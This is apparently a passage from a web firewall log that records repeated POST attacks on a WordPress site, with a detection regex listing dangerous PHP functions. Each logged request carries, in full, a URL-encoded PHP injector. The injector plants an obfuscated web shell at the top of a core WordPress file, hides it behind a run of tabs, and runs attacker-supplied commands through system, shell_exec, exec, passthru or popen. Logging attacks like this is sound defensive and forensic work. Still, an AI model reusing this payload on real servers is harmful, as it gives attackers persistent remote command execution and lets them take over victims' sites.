roperty_set_rec%2529%253B%2520print%2520%2524descriptor_entry%253B%2520%257D%2520%257D%2520exit%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nsec-fetch-dest:document\ncontent-type:application\/x-www-form-urlencoded\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-length:5306\ncookie:4=ce288246c7d2df0454c666077eb603cf; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvDJVvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaWdqKA0VwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\nsec-fetch-site:none\nuser-agent:Mozilla\/5.0 (iPhone; CPU iPhone OS 17_2 like Mac OS X) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/17.2 Mobile\/15E148 Safari\/604.1\nhost:dewenlabels.com\nsec-fetch-mode:navigate\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\n\nAb=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/blocks\/media-text.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524task_processor6%2520%253D%2520%2522s%255Cx74%255Cx72%255Cx65%255Cx61m_%255Cx67%255Cx65t_%255Cx63o%255Cx6Etents%2522%253B%2520%2524buffer_cache%2520%253D%2520%2522%255Cx68ex2%255Cx62i%255Cx6E%2522%253B%2520%2524task_processor2%2520%253D%2520%2522%255Cx73he%255Cx6C%255Cx6C_%255Cx65x%255Cx65c%2522%253B%2520%2524task_processor4%2520%253D%2520%2522%255Cx70%255Cx61%255Cx73st%255Cx68ru%2522%253B%2520%2524task_processor3%2520%253D%2520%2522e%255Cx78e%255Cx63%2522%253B%2520%2524task_processor7%2520%253D%2520%2522p%255Cx63lo%255Cx73e%2522%253B%2520%2524task_processor5%2520%253D%2520%2522%255Cx70o%255Cx70en%2522%253B%2520%2524task_processor1%2520%253D%2520%2522%255Cx73ys%255Cx74%255Cx65m%2522%253B%2520if%2520%2528isset%2528%2524_POST%255B%2522t%255Cx6B%255Cx6E%2522%255D%2529%2529%2520%257B%2520function%2520core_engine%2528%2520%2524res%252C%2520%2524property_set%2520%2529%257B%2520%2524rec%2520%253D%2520%2527%2527%2520%253B%2520for%2528%2524r%253D0%253B%2520%2524r%253Cstrlen%2528%2524res%2529%253B%2520%2524r%252B%252B%2529%257B%2520%2524rec.%253Dchr%2528ord%2528%2524res%255B%2524r%255D%2529%255E%2524property_set%2529%253B%2520%257D%2520return%2520%2524rec%253B%2520%257D%2520%2524tkn%2520%253D%2520%2524buffer_cache%2528%2524_POST%255B%2522t%255Cx6B%255Cx6E%2522%255D%2529%253B%2520%2524tkn%2520%253D%2520core_engine%2528%2524tkn%252C%25203%2529%253B%2520if%2520%2528function_exists%2528%2524task_processor1%2529%2529%2520%257B%2520%2524task_processor1%2528%2524tkn%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524task_processor2%2529%2529%2520%257B%2520print%2520%2524task_processor2%2528%2524tkn%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524task_processor3%2529%2529%2520%257B%2520%2524task_processor3%2528%2524tkn%252C%2520%2524data_chunk_res%2529%253B%2520print%2520join%2528%2522%255Cn%2522%252C%2520%2524data_chunk_res%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524task_processor4%2529%2529%2520%257B%2520%2524task_processor4%2528%2524tkn%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524task_processor5%2529%2520%2526%2526%2520function_exists%2528%2524task_processor6%2529%2520%2526%2526%2520function_exists%2528%2524task_processor7%2529%2529%2520%257B%2520%2524property_set_rec%2520%253D%2520%2524task_processor5%2528%2524tkn%252C%2520%2527r%2527%2529%253B%2520if%2520%2528%2524property_set_rec%2529%2520%257B%2520%2524descriptor_entry%2520%253D%2520%2524task_processor6%2528%2524property_set_rec%2529%253B%2520%2524task_processor7%2528%2524property_set_rec%2529%253B%2520print%2520%2524descriptor_entry%253B%2520%257D%2520%257D%2520exit%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 19:58:47","152.53.138.6","POST","\/","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/17.0 Safari\/605.1.15","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> AX:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/blocks\/media-text.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524task_processor6%2520%253D%2520%2522s%255Cx74%255Cx72%255Cx65%255Cx61m_%255Cx67%255Cx65t_%255Cx63o%255Cx6Etents%2522%253B%2520%2524buffer_cache%2520%253D%2520%2522%255Cx68ex2%255Cx62i%255Cx6E%2522%253B%2520%2524task_processor2%2520%253D%2520%2522%255Cx73he%255Cx6C%255Cx6C_%255Cx65x%255Cx65c%2522%253B%2520%2524task_processor4%2520%253D%2520%2522%255Cx70%255Cx61%255Cx73st%255Cx68ru%2522%253B%2520%2524task_processor3%2520%253D%2520%2522e%255Cx78e%255Cx63%2522%253B%2520%2524task_processor7%2520%253D%2520%2522p%255Cx63lo%255Cx73e%2522%253B%2520%2524task_processor5%2520%253D%2520%2522%255Cx70o%255Cx70en%2522%253B%2520%2524task_processor1%2520%253D%2520%2522%255Cx73ys%255Cx74%255Cx65m%2522%253B%2520if%2520%2528isset%2528%2524_POST%255B%2522t%255Cx6B%255Cx6E%2522%255D%2529%2529%2520%257B%2520function%2520core_engine%2528%2520%2524res%252C%2520%2524property_set%2520%2529%257B%2520%2524rec%2520%253D%2520%2527%2527%2520%253B%2520for%2528%2524r%253D0%253B%2520%2524r%253Cstrlen%2528%2524res%2529%253B%2520%2524r%252B%252B%2529%257B%2520%2524rec.%253Dchr%2528ord%2528%2524res%255B%2524r%255D%2529%255E%2524property_set%2529%253B%2520%257D%2520return%2520%2524rec%253B%2520%257D%2520%2524tkn%2520%253D%2520%2524buffer_cache%2528%2524_POST%255B%2522t%255Cx6B%255Cx6E%2522%255D%2529%253B%2520%2524tkn%2520%253D%2520core_engine%2528%2524tkn%252C%25203%2529%253B%2520if%2520%2528function_exists%2528%2524task_processor1%2529%2529%2520%257B%2520%2524task_processor1%2528%2524tkn%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524task_processor2%2529%2529%2520%257B%2520print%2520%2524task_processor2%2528%2524tkn%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524task_processor3%2529%2529%2520%257B%2520%2524task_processor3%2528%2524tkn%252C%2520%2524data_chunk_res%2529%253B%2520print%2520join%2528%2522%255Cn%2522%252C%2520%2524data_chunk_res%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524task_processor4%2529%2529%2520%257B%2520%2524task_processor4%2528%2524tkn%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524task_processor5%2529%2520%2526%2526%2520function_exists%2528%2524task_processor6%2529%2520%2526%2526%2520function_exists%2528%2524task_processor7%2529%2529%2520%257B%2520%2524property_set_rec%2520%253D%2520%2524task_processor5%2528%2524tkn%252C%2520%2527r%2527%2529%253B%2520if%2520%2528%2524property_set_rec%2529%2520%257B%2520%2524descriptor_entry%2520%253D%2520%2524task_processor6%2528%2524property_set_rec%2529%253B%2520%2524task_processor7%2528%2524property_set_rec%2529%253B%2520print%2520%2524descriptor_entry%253B%2520%257D%2520%257D%2520exit%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nsec-fetch-dest:document\ncontent-type:application\/x-www-form-urlencoded\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-length:5306\ncookie:4=9502d8dfeef0bdc4da77dd3a93ec6aec; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvDItvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzAuL2uyVwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\nsec-fetch-site:none\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/17.0 Safari\/605.1.15\nhost:dewenlabels.com\nsec-fetch-mode:navigate\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\n\nAX=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/blocks\/media-text.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524task_processor6%2520%253D%2520%2522s%255Cx74%255Cx72%255Cx65%255Cx61m_%255Cx67%255Cx65t_%255Cx63o%255Cx6Etents%2522%253B%2520%2524buffer_cache%2520%253D%2520%2522%255Cx68ex2%255Cx62i%255Cx6E%2522%253B%2520%2524task_processor2%2520%253D%2520%2522%255Cx73he%255Cx6C%255Cx6C_%255Cx65x%255Cx65c%2522%253B%2520%2524task_processor4%2520%253D%2520%2522%255Cx70%255Cx61%255Cx73st%255Cx68ru%2522%253B%2520%2524task_processor3%2520%253D%2520%2522e%255Cx78e%255Cx63%2522%253B%2520%2524task_processor7%2520%253D%2520%2522p%255Cx63lo%255Cx73e%2522%253B%2520%2524task_processor5%2520%253D%2520%2522%255Cx70o%255Cx70en%2522%253B%2520%2524task_processor1%2520%253D%2520%2522%255Cx73ys%255Cx74%255Cx65m%2522%253B%2520if%2520%2528isset%2528%2524_POST%255B%2522t%255Cx6B%255Cx6E%2522%255D%2529%2529%2520%257B%2520function%2520core_engine%2528%2520%2524res%252C%2520%2524property_set%2520%2529%257B%2520%2524rec%2520%253D%2520%2527%2527%2520%253B%2520for%2528%2524r%253D0%253B%2520%2524r%253Cstrlen%2528%2524res%2529%253B%2520%2524r%252B%252B%2529%257B%2520%2524rec.%253Dchr%2528ord%2528%2524res%255B%2524r%255D%2529%255E%2524property_set%2529%253B%2520%257D%2520return%2520%2524rec%253B%2520%257D%2520%2524tkn%2520%253D%2520%2524buffer_cache%2528%2524_POST%255B%2522t%255Cx6B%255Cx6E%2522%255D%2529%253B%2520%2524tkn%2520%253D%2520core_engine%2528%2524tkn%252C%25203%2529%253B%2520if%2520%2528function_exists%2528%2524task_processor1%2529%2529%2520%257B%2520%2524task_processor1%2528%2524tkn%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524task_processor2%2529%2529%2520%257B%2520print%2520%2524task_processor2%2528%2524tkn%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524task_processor3%2529%2529%2520%257B%2520%2524task_processor3%2528%2524tkn%252C%2520%2524data_chunk_res%2529%253B%2520print%2520join%2528%2522%255Cn%2522%252C%2520%2524data_chunk_res%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524task_processor4%2529%2529%2520%257B%2520%2524task_processor4%2528%2524tkn%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524task_processor5%2529%2520%2526%2526%2520function_exists%2528%2524task_processor6%2529%2520%2526%2526%2520function_exists%2528%2524task_processor7%2529%2529%2520%257B%2520%2524property_set_rec%2520%253D%2520%2524task_processor5%2528%2524tkn%252C%2520%2527r%2527%2529%253B%2520if%2520%2528%2524property_set_rec%2529%2520%257B%2520%2524descriptor_entry%2520%253D%2520%2524task_processor6%2528%2524property_set_rec%2529%253B%2520%2524task_processor7%2528%2524property_set_rec%2529%253B%2520print%2520%2524descriptor_entry%253B%2520%257D%2520%257D%2520exit%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 19:58:59","118.139.167.171","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.51 Safari\/537.36 Edg\/99.0.1150.30","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> gY:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/blocks\/media-text.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524task_processor6%2520%253D%2520%2522s%255Cx74%255Cx72%255Cx65%255Cx61m_%255Cx67%255Cx65t_%255Cx63o%255Cx6Etents%2522%253B%2520%2524buffer_cache%2520%253D%2520%2522%255Cx68ex2%255Cx62i%255Cx6E%2522%253B%2520%2524task_processor2%2520%253D%2520%2522%255Cx73he%255Cx6C%255Cx6C_%255Cx65x%255Cx65c%2522%253B%2520%2524task_processor4%2520%253D%2520%2522%255Cx70%255Cx61%255Cx73st%255Cx68ru%2522%253B%2520%2524task_processor3%2520%253D%2520%2522e%255Cx78e%255Cx63%2522%253B%2520%2524task_processor7%2520%253D%2520%2522p%255Cx63lo%255Cx73e%2522%253B%2520%2524task_processor5%2520%253D%2520%2522%255Cx70o%255Cx70en%2522%253B%2520%2524task_processor1%2520%253D%2520%2522%255Cx73ys%255Cx74%255Cx65m%2522%253B%2520if%2520%2528isset%2528%2524_POST%255B%2522t%255Cx6B%255Cx6E%2522%255D%2529%2529%2520%257B%2520function%2520core_engine%2528%2520%2524res%252C%2520%2524property_set%2520%2529%257B%2520%2524rec%2520%253D%2520%2527%2527%2520%253B%2520for%2528%2524r%253D0%253B%2520%2524r%253Cstrlen%2528%2524res%2529%253B%2520%2524r%252B%252B%2529%257B%2520%2524rec.%253Dchr%2528ord%2528%2524res%255B%2524r%255D%2529%255E%2524property_set%2529%253B%2520%257D%2520return%2520%2524rec%253B%2520%257D%2520%2524tkn%2520%253D%2520%2524buffer_cache%2528%2524_POST%255B%2522t%255Cx6B%255Cx6E%2522%255D%2529%253B%2520%2524tkn%2520%253D%2520core_engine%2528%2524tkn%252C%25203%2529%253B%2520if%2520%2528function_exists%2528%2524task_processor1%2529%2529%2520%257B%2520%2524task_processor1%2528%2524tkn%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524task_processor2%2529%2529%2520%257B%2520print%2520%2524task_processor2%2528%2524tkn%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524task_processor3%2529%2529%2520%257B%2520%2524task_processor3%2528%2524tkn%252C%2520%2524data_chunk_res%2529%253B%2520print%2520join%2528%2522%255Cn%2522%252C%2520%2524data_chunk_res%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524task_processor4%2529%2529%2520%257B%2520%2524task_processor4%2528%2524tkn%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524task_processor5%2529%2520%2526%2526%2520function_exists%2528%2524task_processor6%2529%2520%2526%2526%2520function_exists%2528%2524task_processor7%2529%2529%2520%257B%2520%2524property_set_rec%2520%253D%2520%2524task_processor5%2528%2524tkn%252C%2520%2527r%2527%2529%253B%2520if%2520%2528%2524property_set_rec%2529%2520%257B%2520%2524descriptor_entry%2520%253D%2520%2524task_processor6%2528%2524property_set_rec%2529%253B%2520%2524task_processor7%2528%2524property_set_rec%2529%253B%2520print%2520%2524descriptor_entry%253B%2520%257D%2520%257D%2520exit%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nupgrade-insecure-requests:1\ncontent-type:application\/x-www-form-urlencoded\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncookie:4=1af844051764377410b827578daae50e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvM1xvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYz11oUEcVwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.51 Safari\/537.36 Edg\/99.0.1150.30\ncontent-length:5306\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-ch-ua-platform:\"Windows\"\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"99\", \"Microsoft Edge\";v=\"99\"\nsec-fetch-dest:document\nsec-ch-ua-mobile:?0\nsec-fetch-user:?1\nhost:dewenlabels.com\nsec-fetch-mode:navigate\nsec-fetch-site:none\naccept:*\/*\naccept-encoding:gzip,deflate\n\ngY=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/blocks\/media-text.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524task_processor6%2520%253D%2520%2522s%255Cx74%255Cx72%255Cx65%255Cx61m_%255Cx67%255Cx65t_%255Cx63o%255Cx6Etents%2522%253B%2520%2524buffer_cache%2520%253D%2520%2522%255Cx68ex2%255Cx62i%255Cx6E%2522%253B%2520%2524task_processor2%2520%253D%2520%2522%255Cx73he%255Cx6C%255Cx6C_%255Cx65x%255Cx65c%2522%253B%2520%2524task_processor4%2520%253D%2520%2522%255Cx70%255Cx61%255Cx73st%255Cx68ru%2522%253B%2520%2524task_processor3%2520%253D%2520%2522e%255Cx78e%255Cx63%2522%253B%2520%2524task_processor7%2520%253D%2520%2522p%255Cx63lo%255Cx73e%2522%253B%2520%2524task_processor5%2520%253D%2520%2522%255Cx70o%255Cx70en%2522%253B%2520%2524task_processor1%2520%253D%2520%2522%255Cx73ys%255Cx74%255Cx65m%2522%253B%2520if%2520%2528isset%2528%2524_POST%255B%2522t%255Cx6B%255Cx6E%2522%255D%2529%2529%2520%257B%2520function%2520core_engine%2528%2520%2524res%252C%2520%2524property_set%2520%2529%257B%2520%2524rec%2520%253D%2520%2527%2527%2520%253B%2520for%2528%2524r%253D0%253B%2520%2524r%253Cstrlen%2528%2524res%2529%253B%2520%2524r%252B%252B%2529%257B%2520%2524rec.%253Dchr%2528ord%2528%2524res%255B%2524r%255D%2529%255E%2524property_set%2529%253B%2520%257D%2520return%2520%2524rec%253B%2520%257D%2520%2524tkn%2520%253D%2520%2524buffer_cache%2528%2524_POST%255B%2522t%255Cx6B%255Cx6E%2522%255D%2529%253B%2520%2524tkn%2520%253D%2520core_engine%2528%2524tkn%252C%25203%2529%253B%2520if%2520%2528function_exists%2528%2524task_processor1%2529%2529%2520%257B%2520%2524task_processor1%2528%2524tkn%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524task_processor2%2529%2529%2520%257B%2520print%2520%2524task_processor2%2528%2524tkn%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524task_processor3%2529%2529%2520%257B%2520%2524task_processor3%2528%2524tkn%252C%2520%2524data_chunk_res%2529%253B%2520print%2520join%2528%2522%255Cn%2522%252C%2520%2524data_chunk_res%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524task_processor4%2529%2529%2520%257B%2520%2524task_processor4%2528%2524tkn%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524task_processor5%2529%2520%2526%2526%2520function_exists%2528%2524task_processor6%2529%2520%2526%2526%2520function_exists%2528%2524task_processor7%2529%2529%2520%257B%2520%2524property_set_rec%2520%253D%2520%2524task_processor5%2528%2524tkn%252C%2520%2527r%2527%2529%253B%2520if%2520%2528%2524property_set_rec%2529%2520%257B%2520%2524descriptor_entry%2520%253D%2520%2524task_processor6%2528%2524property_set_rec%2529%253B%2520%2524task_processor7%2528%2524property_set_rec%2529%253B%2520print%2520%2524descriptor_entry%253B%2520%257D%2520%257D%2520exit%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%